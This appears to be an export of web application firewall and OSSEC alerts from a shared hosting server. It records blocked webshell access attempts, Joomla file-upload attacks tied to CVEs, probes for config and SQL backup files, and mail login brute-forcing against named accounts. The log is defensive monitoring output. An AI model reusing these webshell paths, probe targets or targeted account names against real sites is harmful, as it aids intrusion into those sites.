description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:20-59.185.255.126.29||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.227.164
country_id: 286963
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/94775439 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.40.219.2
country_id: 798544
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a53622550 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.24.33
country_id: 1562822
domain: ddgalaxy.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ddgalaxy.in/ HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.61.243
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b02317093 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-17 21:05:36 dovecot_login authenticator failed for H=(111-70-23-250.emome-ip.hinet.net) [15.218.135.58]:33909: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-17 21:05:25 dovecot_login authenticator failed for H=([61.186.136.36]) [14.96.106.175]:55782: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.190.231.86
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b5364269 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.52.141.72
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b73678947 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.52.102.171
country_id: 3625428
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b63851027 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-17 21:08:19 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [117.211.15.93]:33176: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-17 21:08:31 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com (static.bb.awr.59.90.111.74.bsnl.in) [220.246.47.169]:65344: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.43.166.103
country_id: 357994
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c43171379 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.253.247.69
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d51660559 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-17 21:12:04 dovecot_login authenticator failed for H=([117.247.239.202]) [218.156.8.97]:39272: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-17 21:12:13 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([112.27.38.203]) [81.237.155.113]:60282: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.246.202.237
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e1203651 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.117.177.94
country_id: 2510769
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e3127845 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.217.15
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/banner/11782077340.php||SC:/home/ogocindia/public_html/uploads||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.185.162.126
country_id: 1643084
description:
[2026-07-17 21:14:33 +0530] info [whostmgrd] 93.185.162.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.70.47
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f51747624 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-17 21:16:49 dovecot_login authenticator failed for H=([182.31.35.187]) [182.31.35.187]:34661: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.223.111.27
country_id: 6252001
description:
2026-07-17 21:16:59 dovecot_login authenticator failed for H=([106.14.182.77]) [159.223.111.27]:39630: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-17 21:17:49 dovecot_login authenticator failed for H=([72.37.217.1]) [85.105.2.51]:58532: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.88.132.130
country_id: 3508796
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/011775131 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-17 21:18:04 dovecot_login authenticator failed for H=([98.182.147.126]) [201.46.124.0]:1794: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/bigdump.php||SC:/home/keralapeople/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/bolt.php||SC:/home/keralapeople/public_html/wp-admin||


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.10
country_id: 798544
domain: globalgroupoman.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.30||T:APACHE||MVN:ARGS:data[0][value]||SC:/home/globalgroupoman/public_html/||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.248.56.91
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/061820743 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.187.235.127
country_id: 3895114
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/082247765 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.168
country_id: 1835841
description:
2026-07-17 21:21:43 dovecot_login authenticator failed for H=(176x212x241x100.dynamic.ulsk.ertelecom.ru) [121.131.220.168]:35448: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-17 21:22:04 dovecot_login authenticator failed for H=(39.85.165.220.broad.yx.yn.dynamic.163data.com.cn) [182.78.112.174]:59380: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-17 21:21:54 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [117.211.15.93]:41796: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.39.91.60
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/123034930 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.239.254.179
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/13723679 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.71.17.165
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/143721376 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.201.215.171
country_id: 357994
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/122235823 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.105.160.100
country_id: 6252001
description:
2026-07-17 21:24:58 dovecot_login authenticator failed for H=syn-024-105-160-100.biz.spectrum.com ([67.201.58.185]) [24.105.160.100]:53696: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.219.85.28
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/163451585 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.21.243.7
country_id: 1668284
description:
2026-07-17 21:25:18 dovecot_login authenticator failed for H=211-21-243-7.hinet-ip.hinet.net ([192.111.138.28]) [211.21.243.7]:55524: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-17 21:25:18 dovecot_login authenticator failed for H=([184.185.2.254]) [119.196.213.196]:60178: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/futuracarecom/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.198.39
country_id: 3658394
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/19260372 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-17 21:24:52 dovecot_login authenticator failed for H=([111.26.177.216]) [210.5.117.238]:53076: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 85.117.63.196
country_id: 614540
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/231968170 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.140.132.68
country_id: 1733045
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/26613553 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 196.115.176.244
country_id: 2542007
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784304082533.PhP||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-17 21:30:22 dovecot_login authenticator failed for H=([221.224.159.220]) [59.12.212.38]:43514: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.117
country_id: 2300660
description:
2026-07-17 21:30:03 dovecot_login authenticator failed for H=([91.143.161.208]) [197.251.249.117]:46037: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-17 21:32:26 dovecot_login authenticator failed for H=([155.103.131.36]) [94.16.17.139]:51636: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.188.201.182
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/combinations/public_html/uploads||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 44.244.71.26
country_id: 6252001
domain: www.gsmex.global
description:
IM360 WAF: Bad file extension||RSV:8.30||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:gsmex||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 44.244.71.26
country_id: 6252001
domain: www.gsmex.global
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.30||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.148
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.30||T:APACHE||RA:192.186.151.148||TA:192.186.151.148||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.198.108.247
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://maps.app.goo.gl/2oggFFshjyn8zqgf7\">Carpet Cleaning Services Hollywood</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/bigdump.php||SC:/home/ddgalaxy/public_html/uploads||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/careers1698386936.php||SC:/home/ddgalaxy/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-17 21:46:10 dovecot_login authenticator failed for H=([122.185.0.201]) [112.161.42.97]:41256: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.33.109.170
country_id: 2077456
description:
2026-07-17 21:46:51 dovecot_login authenticator failed for H=27-33-109-170.tpgi.com.au ([49.125.203.167]) [27.33.109.170]:50513: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 130.131.241.50
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/uploads/leaf.php||SC:/home/ibmctradeflow/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-17 21:53:07 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([111.70.49.182]) [220.246.47.169]:59840: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.37
country_id: 1733045
description:
2026-07-17 21:55:19 dovecot_login authenticator failed for H=([67.201.38.131]) [49.124.146.37]:42066: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.177.143.61
country_id: 1819730
description:
2026-07-17 21:55:30 dovecot_login authenticator failed for H=([110.227.215.90]) [210.177.143.61]:55390: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.143.240.29
country_id: 3617476
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-s-new-premium-4k-ultra-short-throw-projectors-v6000-v7050i HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-17 21:56:18 dovecot_login authenticator failed for H=([187.76.239.145]) [213.55.79.195]:44972: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-17 21:57:51 dovecot_login authenticator failed for H=([199.116.114.10]) [117.254.119.147]:55518: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 209.242.211.246
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://business.am-news.com/am-news/markets/article/abnewswire-2026-7-13-what-does-garage-door-repair-cost-in-columbia-md-local-contractor-publishes-guide/\">Garage Door Repair Ellicott City MD</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/images/cache.php||SC:/home/elegantautomotiv/public_html/images/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.28.15.64
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/metro-digital-media-won-the-best-performance-in-home-theatre-projector HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.119.44.29
country_id: 1282988
description:
2026-07-17 22:04:07 dovecot_login authenticator failed for H=([98.190.239.1]) [111.119.44.29]:42782: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.151
country_id: 1668284
description:
2026-07-17 22:04:20 dovecot_login authenticator failed for H=111-70-29-151.emome-ip.hinet.net (ipmapt-72-195-114-171.oc.oc.cox.net) [111.70.29.151]:52117: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.79.40.211
country_id: 3437598
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-17 22:10:27 dovecot_login authenticator failed for H=([49.124.151.67]) [41.219.149.74]:45727: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.175.66.26
country_id: 6252001
description:
2026-07-17 22:10:04 dovecot_login authenticator failed for H=([14.54.22.11]) [24.175.66.26]:38104: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-17 22:10:12 dovecot_login authenticator failed for H=([112.86.146.178]) [14.96.106.175]:40408: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.181.23
country_id: 2661886
description:
2026-07-17 22:14:50 dovecot_login authenticator failed for H=c83-191-181-23.bredband.tele2.se ([62.220.104.155]) [83.191.181.23]:58600: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-17 22:15:04 dovecot_login authenticator failed for H=([142.54.228.195]) [188.122.37.97]:40446: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.0.146.4
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c61778386 HTTP/1.1||RSV:8.30||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-17 22:20:50 dovecot_login authenticator failed for H=([103.68.52.210]) [221.167.50.229]:59808: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77142167
name: IM360 WAF: Block URI containing malicious URLs
abuser: 85.237.212.10
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block URI containing malicious URLs||RSV:8.30||T:APACHE||MVN:ARGS:jform[name]||SC:/home/cochinbigbandsho/public_html/component||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-17 22:31:27 dovecot_login authenticator failed for H=([196.188.187.205]) [49.206.201.253]:47946: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-17 22:31:18 dovecot_login authenticator failed for H=(155.223.139.122.adsl-pool.jlccptt.net.cn) [183.82.56.12]:49766: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.14
country_id: 1733045
description:
2026-07-17 22:32:53 dovecot_login authenticator failed for H=([122.114.35.55]) [49.124.152.14]:51200: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.237.6.67
country_id: 6252001
description:
2026-07-17 22:33:06 dovecot_login authenticator failed for H=67-6-237-24.gci.net ([49.124.153.32]) [24.237.6.67]:40220: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: modsec
rule: 77469916
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:Filedata||MV:jm_nhr13g7p.xml.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77209354
name: IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: File upload on Joomla SP Page Builder endpoint - tracking (CVE-2026-48908)||MVN:FILES:file||MV:jm_00vzc7wl.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Track file upload for Infectors||RSV:8.30||T:APACHE||SC:/home/futuracarecom/public_html/index.php||User:futuracarecom||WPU:||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 172.177.143.154
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/goods.php||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.177.143.154
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/metrodigitals/public_html/wp-includes||RSV:8.30||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.94.209.225
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/images/jm_00vzc7wl.php||SC:/home/futuracarecom/public_html/images/jm_00vzc7wl.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.177.143.154
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.30||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ogocindia/public_html/wp-admin||


plugin: modsec
rule: 77839622
